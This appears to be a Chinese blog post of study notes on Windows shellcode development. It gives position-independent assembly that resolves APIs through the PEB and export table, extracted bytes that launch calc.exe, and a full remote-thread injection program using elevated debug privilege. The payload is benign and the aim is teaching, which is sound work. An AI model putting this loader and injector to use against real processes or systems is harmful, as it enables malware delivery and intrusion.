shellcode的编写学习

前言:作为shellcode编写的笔记

参考文章:https://securitycafe.ro/2016/02/15/introduction-to-windows-shellcode-development-part-3/

整体学下来的感受:

1、数据交互都在堆栈

2、尽量避免硬编码00的产生,影响可能会影响shellcode的执行效果

3、每次调用完都尽量保持平衡,但并不是一定需要,比如你自己拿到一个重要的地址,类似XXX地址模块,那么就可以将其压入堆栈中进行保存,整体ESP-4,后续得话就以ESP-4来保持平衡即可

shellcode的编写原则

测试代码如下:

#include<windows.h>

int main(int argc, char* argv[])
{
	
	system("dir");
	return 0;
}

因为编译器正常设置编译完的程序会默认带有一些安全设置,就比如checkEsp,相关的调用约定的函数调用完都有检查堆栈是否平衡等

重新来看下,就发现相关的检查堆栈的硬编码就已经不在了

不能有全局变量

因为我们编写shellcode时,使用的全局变量是自己的进程里面的全局变量,注入到别的进程里,这个地址就没用了,因为一个进程启动会把字符串放置在一个特定的Section中(如.rdata或.data),而这个特定的节只有当前的进程知道如何寻找,其他的进程不知道如何寻找

所以通过这个点我们知道,我们需要的相关变量都需要是在堆栈中进行存储,比如要使用字符串的话,那么就需要使用字符数组来进行解决

char s[] = "12"; -> char s[] = {'1','2','\0'};

不能直接调用系统函数

在 C/C++ 中,调用函数很容易。我们指定#include <>以使用特定的标头并通过其名称调用函数。

在后台,编译器和链接器处理了这个问题:它们解析函数的地址(例如来自user32.dll的MessageBox),我们可以很容易地通过它们的名称调用这些函数。

在 shellcode 中,我们不能这样做。我们不知道包含我们所需函数的 DLL 是否已加载到内存中,我们也不知道所需函数的地址。由于ASLR(地址空间布局随机化),DLL 不会每次都加载到相同的地址。此外,DLL 可能会随着每个新的 Windows 更新而更改,因此我们不能依赖 DLL 中的特定偏移量。

我们必须将 DLL 加载到内存中,并直接从 shellcode 中找到所需的函数。幸运的是,Windows API提供了两个有用的函数:LoadLibrary和GetProcAddress,我们可以使用它们来查找函数的地址。

但是 LoadLibrary,GetProcAddress 本身就是系统函数,它们本身就依赖IAT表,咋办呢?

解决方案是这样的:通过FS:[0x30] 找到PEB,然后通过PEB里的LDR链表 [PEB+0x0C]找到 kernel32.dll 的地址,然后我们遍历它的 IAT表,找到 LoadLibrary 和 GetProcAddress 函数

避免NULL字节

NULL 字节的值为 0x00。在 C/C++ 代码中,NULL 字节被认为是字符串的终止符。因此,shellcode 中这些字节的存在可能会干扰目标应用程序的功能,并且我们的 shellcode 可能无法正确复制到内存中。

即使这种情况不是强制性的,也存在使用strcpy () 函数的常见情况,例如缓冲区溢出。此函数将逐字节复制字符串,并在遇到 NULL 字节时停止。因此,如果 shellcode 包含一个 NULL 字节,strcpy 函数将在该字节处停止,并且 shellcode 将不完整,正如您可以猜到的那样,它将无法正常工作。

上图中的两条指令在功能上是等价的,但是第一个包含 NULL 字节,而第二个不包含。即使 NULL 字节在编译代码中很常见,避免它们也不是那么难。

此外,在某些特定情况下,shellcode 必须避免使用字符,例如 \r\n,甚至只能使用字母数字字符。

所以这里如果使用到的mov eax,0都需要使用xor eax,eax来进行替代,这样避免NULL字节的出现

汇编简单实现system函数

如下代码所示,然后这种的话并不算是shellcode,因为还有一定的局限性,默认调用的函数地址是不知道的

#include<windows.h>

int main(int argc, char* argv[])
{
	char buffer[] = {'d','i','r','\0'};
	system(buffer);
	return 0;
}

这里直接将上面对应的汇编扣下来进行测试

#include<windows.h>

DWORD g_dwSystemAddr = 0;
__declspec(naked) void test01()
{
	__asm
	{
		push ebp
		mov  ebp, esp

		xor ebx, ebx
		push ebx

		mov  byte ptr[ebp - 04h], 64h
		mov  byte ptr[ebp - 03h], 69h
		mov  byte ptr[ebp - 02h], 72h
		lea  ebx, [ebp - 04h]
		push ebx
		mov ebx, g_dwSystemAddr
		call ebx
		; 恢复堆栈
		add esp, 0x4; 恢复esp

		pop ebx
		mov esp,ebp
		mov esp,ebp
		retn
	}
}

int main(int argc, char* argv[])
{
	HMODULE hModule = LoadLibrary("msvcrt.dll");
	g_dwSystemAddr = (DWORD)GetProcAddress(hModule, "system");
	test01();
	return 0;
}

Shellcode通用实现

为了创建可靠的 shellcode,需要如下步骤的支持:

  • 获取 kernel32.dll 基地址
  • 查找GetProcAddress函数的地址
  • 使用GetProcAddress查找LoadLibrary函数的地址
  • 使用LoadLibrary加载 DLL(例如kernel32.dll)
  • 使用GetProcAddress查找函数的地址(例如MessageBox)
  • 指定函数参数
  • 调用函数

编写Shellcode不是只为了在本机上运行,而是不依赖环境,需要通用于任何机器。所以,我们需要不依赖外部查找函数地址,那么,我们需要一段代码能够自己定位任意函数地址。

那么这里就需要通过fs:[0x30]来获得相关的LDR_MODULE,然后来遍历相关模块DLL中的导出表来获得函数了,通过这种方法可以摆脱函数地址的局限性

获取kernel32.dll

获取kernel32.dll就是通过PEB_LDR_DATA的结构体,因为它其中有三个类似的双向链表,其中都存储着相关加载模块的信息,通过遍历就可以进行获取指定模块的基址,模块大小等信息

xor ecx, ecx              ; 绕过空字节的发生
mov eax, fs:[ecx + 0x30]  ; 拿到PEB结构体
mov eax, [eax + 0xc]      ; 拿到_PEB_LDR_DATA结构体
mov esi, [eax + 0x14]     ; 获取LDR结构体中的InMemoryOrderModuleList链表
lodsd                     ; EAX = ds:[esi],也就是InMemoryOrderModuleList指向的下一个LDR_MODULE的链表
xchg eax, esi             ; EAX = ESI, ESI = EAX
lodsd                     ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]     ; EBX = Base address

这里可能会有一个疑问,为什么不直接给寄存器mov一个fs:[0x30],而是先xor esi, esi,然后通过fs:30h+esi来进行赋值

mov eax,fs:[30]指令将组装成以下操作码序列:64 A1 30 00 00 00,因此我们有空字节,而mov eax, fs:[ecx+0x30]的指令为64 8B 41 30。所以这种方式可以避免 NULL 字节。

PEB和PEB_LDR_DATA和PEB_LDR_MODULE的关系图如下所示

获取导出表的位置

mov edx, [ebx + 0x3c] ; edx = DOS->e_lfanew,DOS结构体的最后一个成员指向的就是PE Header
add edx, ebx          ; edx = PE Header
mov edx, [edx + 0x78] ; edx = 获得一个8个字节的导出表的结构体中的Virtual Address
add edx, ebx          ; edx = 获得Virtual Address所指向的导出表的起始地址
mov esi, [edx + 0x20] ; esi = IMAGE_EXPORT_DIRECTORY.NumberOfNames地址中的偏移值,也就是RVA
add esi, ebx          ; esi = 基址+RVA的值保存在 esi 寄存器
xor ecx, ecx          ; ecx = 0

查找 GetProcAddress 函数名称

学过PE大家肯定都了解遍历导出表,然后通过寻找GetProcAddress的思路,其中的一个实现方法就是通过导出函数名称表,再对应到导出函数序号表,最后从导出函数地址表中寻找。

导出函数名称表中找到GetProcAddress的名称,ecx则代表当前寻找的下标,如果找到了的话那么ecx就是当前要找函数的下标

Get_Function:
  inc ecx                              ; Increment the ordinal
  lodsd                                ; Get name offset
  add eax, ebx                         ; Get function name
  cmp dword ptr[eax], 0x50746547       ; GetP
  jnz Get_Function
  cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
  jnz Get_Function
  cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
  jnz Get_Function

查找 GetProcAddress 函数的地址

接着导出函数序号表中进行寻找,这里通过上面获得的ecx来继续寻找,这里说下为什么*2,原因就是一个序号是占两个字节的,*4的话就是函数地址是占4个字节

mov esi, [edx + 0x24]    ; ESI = Offset ordinals
add esi, ebx             ; ESI = Ordinals table
mov cx, [esi + ecx * 2]  ; CX = Number of function
dec ecx
mov esi, [edx + 0x1c]    ; ESI = Offset address table
add esi, ebx             ; ESI = Address table
mov edx, [esi + ecx * 4] ; EDX = Pointer(offset)
add edx, ebx             ; EDX = GetProcAddress

找到LoadLibrary函数地址

xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)

加载 user32.dll 库

add esp, 0xc    ; pop "LoadLibraryA"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibraryA
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")

之后你想要加载什么库只需要如下的地方进行修改即可

mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"

测试获取SwapMouseButton函数地址

到这里之后就非常的轻松了,因为已经拿到了user32.dll的模块,并且GetProcAddress也拿到了,之后每次需要获取user32.dll的函数的时候只需要执行下面的代码即可

add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)

调用SwapMouseButton

add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!

获取 ExitProcess 函数地址

执行完要执行的程序了之后,还需要进行结束进程的操作,这里还需要结束自身

add esp, 0x4                    ; 这里是清理上面压入的参数使用的
pop edx                         ; 重新弹出GetProcAddress地址,继续使用该函数来获取ExitProcess
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)

调用 ExitProcess 函数

最后,我们这样调用 ExitProcess 函数,结束自身

xor ecx, ecx ; ECX = 0
push ecx     ; Return code = 0
call eax     ; ExitProcess

最终的shellcode

xor ecx, ecx
mov eax, fs:[ecx + 0x30] ; EAX = PEB
mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
lodsd                    ; EAX = Second module
xchg eax, esi            ; EAX = ESI, ESI = EAX
lodsd                    ; EAX = Third(kernel32)
mov ebx, [eax + 0x10]    ; EBX = Base address
mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
add edx, ebx             ; EDX = PE Header
mov edx, [edx + 0x78]    ; EDX = Offset export table
add edx, ebx             ; EDX = Export table
mov esi, [edx + 0x20]    ; ESI = Offset namestable
add esi, ebx             ; ESI = Names table
xor ecx, ecx             ; EXC = 0
 
Get_Function:
 
inc ecx                              ; Increment the ordinal
lodsd                                ; Get name offset
add eax, ebx                         ; Get function name
cmp dword ptr[eax], 0x50746547       ; GetP
jnz Get_Function
cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
jnz Get_Function
cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
jnz Get_Function
mov esi, [edx + 0x24]                ; ESI = Offset ordinals
add esi, ebx                         ; ESI = Ordinals table
mov cx, [esi + ecx * 2]              ; Number of function
dec ecx
mov esi, [edx + 0x1c]                ; Offset address table
add esi, ebx                         ; ESI = Address table
mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
add edx, ebx                         ; EDX = GetProcAddress
 
xor ecx, ecx    ; ECX = 0
push ebx        ; Kernel32 base address
push edx        ; GetProcAddress
push ecx        ; 0
push 0x41797261 ; aryA
push 0x7262694c ; Libr
push 0x64616f4c ; Load
push esp        ; "LoadLibrary"
push ebx        ; Kernel32 base address
call edx        ; GetProcAddress(LL)
 
add esp, 0xc    ; pop "LoadLibrary"
pop ecx         ; ECX = 0
push eax        ; EAX = LoadLibrary
push ecx
mov cx, 0x6c6c  ; ll
push ecx
push 0x642e3233 ; 32.d
push 0x72657375 ; user
push esp        ; "user32.dll"
call eax        ; LoadLibrary("user32.dll")
 
add esp, 0x10                  ; Clean stack
mov edx, [esp + 0x4]           ; EDX = GetProcAddress
xor ecx, ecx                   ; ECX = 0
push ecx
mov ecx, 0x616E6F74            ; tona
push ecx
sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
push 0x74754265                ; eBut
push 0x73756F4D                ; Mous
push 0x70617753                ; Swap
push esp                       ; "SwapMouseButton"
push eax                       ; user32.dll address
call edx                       ; GetProc(SwapMouseButton)
 
add esp, 0x14 ; Cleanup stack
xor ecx, ecx  ; ECX = 0
inc ecx       ; true
push ecx      ; 1
call eax      ; Swap!
 
add esp, 0x4                    ; Clean stack
pop edx                         ; GetProcAddress
pop ebx                         ; kernel32.dll base address
mov ecx, 0x61737365             ; essa
push ecx
sub dword ptr [esp + 0x3], 0x61 ; Remove "a"
push 0x636f7250                 ; Proc
push 0x74697845                 ; Exit
push esp
push ebx                        ; kernel32.dll base address
call edx                        ; GetProc(Exec)
xor ecx, ecx                    ; ECX = 0
push ecx                        ; Return code = 0
call eax                        ; ExitProcess

WinExec执行计算器calc

#include<windows.h>
int main(int argc, char* argv[])
{
	__asm
	{
		xor ecx, ecx
		mov eax, fs:[ecx + 0x30] ; EAX = PEB
		mov eax, [eax + 0xc]     ; EAX = PEB->Ldr
		mov esi, [eax + 0x14]    ; ESI = PEB->Ldr.InMemOrder
		lodsd                    ; EAX = Second module
		xchg eax, esi            ; EAX = ESI, ESI = EAX
		lodsd                    ; EAX = Third(kernel32)
		mov ebx, [eax + 0x10]    ; EBX = Base address
		mov edx, [ebx + 0x3c]    ; EDX = DOS->e_lfanew
		add edx, ebx             ; EDX = PE Header
		mov edx, [edx + 0x78]    ; EDX = Offset export table
		add edx, ebx             ; EDX = Export table
		mov esi, [edx + 0x20]    ; ESI = Offset namestable
		add esi, ebx             ; ESI = Names table
		xor ecx, ecx             ; EXC = 0
	
	Get_Function:
		inc ecx                              ; Increment the ordinal
		lodsd                                ; Get name offset
		add eax, ebx                         ; Get function name
		cmp dword ptr[eax], 0x50746547       ; GetP
		jnz Get_Function
		cmp dword ptr[eax + 0x4], 0x41636f72 ; rocA
		jnz Get_Function
		cmp dword ptr[eax + 0x8], 0x65726464 ; ddre
		jnz Get_Function
		mov esi, [edx + 0x24]                ; ESI = Offset ordinals
		add esi, ebx                         ; ESI = Ordinals table
		mov cx, [esi + ecx * 2]              ; Number of function
		dec ecx
		mov esi, [edx + 0x1c]                ; Offset address table
		add esi, ebx                         ; ESI = Address table
		mov edx, [esi + ecx * 4]             ; EDX = Pointer(offset)
		add edx, ebx                         ; EDX = GetProcAddress
 
		xor ecx, ecx    ; ECX = 0
		push ebx        ; Kernel32 base address
		push edx        ; GetProcAddress
		push ecx        ; 0
		push 0x41797261 ; aryA
		push 0x7262694c ; Libr
		push 0x64616f4c ; Load
		push esp        ; "LoadLibrary"
		push ebx        ; Kernel32 base address
		call edx        ; GetProcAddress(LL)
 
		add esp, 0xc    ; pop "LoadLibrary"
		pop ecx         ; ECX = 0

		push eax        ; EAX = LoadLibrary
		push ecx
		push 0x6c6c642e; .dll
		push 0x32336c65; el32
		push 0x6e72656b; kern
		push esp; "kernel32.dll"
		call eax; LoadLibrary("kernel32.dll")

		add esp, 0xC                  ; Clean stack
		pop ecx;
		 
		mov edx, [esp + 0x4]           ; EDX = GetProcAddress
		push edx
		xor ecx, ecx                   ; ECX = 0
		push ecx
		
		mov ecx, 61636578h
		push ecx						; xeca
		sub dword ptr[esp + 0x3], 0x61 ; Remove "a"
		push 456e6957h
		push esp                       ; "WinExec"
		push eax                       ; kernel32.dll address
		call edx                       ; GetProcAddress(WinExec)
		
		add esp, 0x8 ; Cleanup stack
		pop ecx;
		
		xor ecx, ecx  ; ECX = 0
		xor ebx, ebx
		push ecx
		push 0x6578652e
		push 0x636c6163
		push 0x5c32336d
		push 0x65747379
		push 0x535c7377
		push 0x6f646e69
		push 0x575c3a43
		mov ebx, esp
		push 0xa
		push ebx
		
		call eax						; calc
		add esp, 0x1C; Clean stack
		pop ecx;

		xor ecx,ecx
		xor ebx,ebx
		mov eax, dword ptr[esp+0xC]
		mov edx, dword ptr[esp]
		mov ecx, 0x61737365; essa
		push ecx;
		sub dword ptr[esp + 0x3], 0x61; Remove "a"
		push 0x636f7250; Proc
		push 0x74697845; Exit
		push esp; ExitProcess
		push eax; kernel32.dll base address
		call edx; GetProc(ExitProcess)
		
		xor ecx, ecx; ECX = 0
		push ecx; Return code = 0
		call eax; ExitProcess
	}
	return 0;
}

如何实现提取机器码

有时候纯手写汇编会很慢的,所以如果我们能写代码然后转换为汇编的话,又或者想要提取汇编中的硬编码的时候就需要用到

#include<windows.h>

_declspec(naked) void test02()
{
		__asm
	{
		xor ecx, ecx
                ....
                .... 
                ....
		call eax; ExitProcess
	}
}

void printHexArray(PVOID startAddr, size_t nBytes)
{
	for (size_t i = 0; i < nBytes; i++)
	{
		printf("0x%02X, ", ((PBYTE)startAddr)[i]);
		if ((i + 1) % 16 == 0)
			printf("\n");
	}
}

int main(int argc, char* argv[])
{
	printHexArray((PVOID)test02, 0x103);
	return 0;
}

硬编码提取实现WinExec执行计算器calc

#include <stdio.h>

int main(int argc, char* argv[])
{
	//printHexArray((PVOID)test02, 0x103);
	//test02();

	
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	((void(*)(void))shellcode)();
	return 0;
}

远程线程注入shellcode

为了测试shellcode的通用,这里还进行继续来进行测试,将shellcode注入到其他进程中来进行运行

#include<stdio.h>
#include<windows.h>

BOOL EnableDebugPrivilege()
{
	HANDLE hToken;
	BOOL fOk=FALSE;
	if(OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,&hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount=1;
		LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&tp.Privileges[0].Luid);
		
		tp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
		AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(tp),NULL,NULL);
		
		fOk=(GetLastError()==ERROR_SUCCESS);
		CloseHandle(hToken);
	}
    return fOk;
}


int main(int argc, char* argv[])
{
	DWORD dwWritten;
	DWORD dwProcessPid;
	HANDLE hProcess;
	PVOID pAddr;
	unsigned char shellcode[] = { 
		0x33, 0xC9, 0x64, 0x8B, 0x41, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x14, 0xAD, 0x96, 0xAD, 0x8B,
		0x58, 0x10, 0x8B, 0x53, 0x3C, 0x03, 0xD3, 0x8B, 0x52, 0x78, 0x03, 0xD3, 0x8B, 0x72, 0x20, 0x03,
		0xF3, 0x33, 0xC9, 0x41, 0xAD, 0x03, 0xC3, 0x81, 0x38, 0x47, 0x65, 0x74, 0x50, 0x75, 0xF4, 0x81,
		0x78, 0x04, 0x72, 0x6F, 0x63, 0x41, 0x75, 0xEB, 0x81, 0x78, 0x08, 0x64, 0x64, 0x72, 0x65, 0x75,
		0xE2, 0x8B, 0x72, 0x24, 0x03, 0xF3, 0x66, 0x8B, 0x0C, 0x4E, 0x49, 0x8B, 0x72, 0x1C, 0x03, 0xF3,
		0x8B, 0x14, 0x8E, 0x03, 0xD3, 0x33, 0xC9, 0x53, 0x52, 0x51, 0x68, 0x61, 0x72, 0x79, 0x41, 0x68,
		0x4C, 0x69, 0x62, 0x72, 0x68, 0x4C, 0x6F, 0x61, 0x64, 0x54, 0x53, 0xFF, 0xD2, 0x83, 0xC4, 0x0C,
		0x59, 0x50, 0x51, 0x68, 0x2E, 0x64, 0x6C, 0x6C, 0x68, 0x65, 0x6C, 0x33, 0x32, 0x68, 0x6B, 0x65,
		0x72, 0x6E, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x0C, 0x59, 0x8B, 0x54, 0x24, 0x04, 0x52, 0x33, 0xC9,
		0x51, 0xB9, 0x78, 0x65, 0x63, 0x61, 0x51, 0x83, 0x6C, 0x24, 0x03, 0x61, 0x68, 0x57, 0x69, 0x6E,
		0x45, 0x54, 0x50, 0xFF, 0xD2, 0x83, 0xC4, 0x08, 0x59, 0x33, 0xC9, 0x33, 0xDB, 0x51, 0x68, 0x2E,
		0x65, 0x78, 0x65, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x68, 0x6D, 0x33, 0x32, 0x5C, 0x68, 0x79, 0x73,
		0x74, 0x65, 0x68, 0x77, 0x73, 0x5C, 0x53, 0x68, 0x69, 0x6E, 0x64, 0x6F, 0x68, 0x43, 0x3A, 0x5C,
		0x57, 0x8B, 0xDC, 0x6A, 0x0A, 0x53, 0xFF, 0xD0, 0x83, 0xC4, 0x1C, 0x59, 0x33, 0xC9, 0x33, 0xDB,
		0x8B, 0x44, 0x24, 0x0C, 0x8B, 0x14, 0x24, 0xB9, 0x65, 0x73, 0x73, 0x61, 0x51, 0x83, 0x6C, 0x24,
		0x03, 0x61, 0x68, 0x50, 0x72, 0x6F, 0x63, 0x68, 0x45, 0x78, 0x69, 0x74, 0x54, 0x50, 0xFF, 0xD2,
		0x33, 0xC9, 0x51, 0xFF, 0xD0 };
	
	EnableDebugPrivilege();
	printf("Injection Pid: ");
	scanf("%d", &dwProcessPid);
	hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,dwProcessPid);
	pAddr = VirtualAllocEx(hProcess,0,0x1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess,pAddr,shellcode,0x105,&dwWritten);
	CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)pAddr,0,0,0);
	system("pause");
	return 0;
}

posted @ 2022-03-03 00:21  zpchcbd  阅读(1651)  评论(0编辑  收藏  举报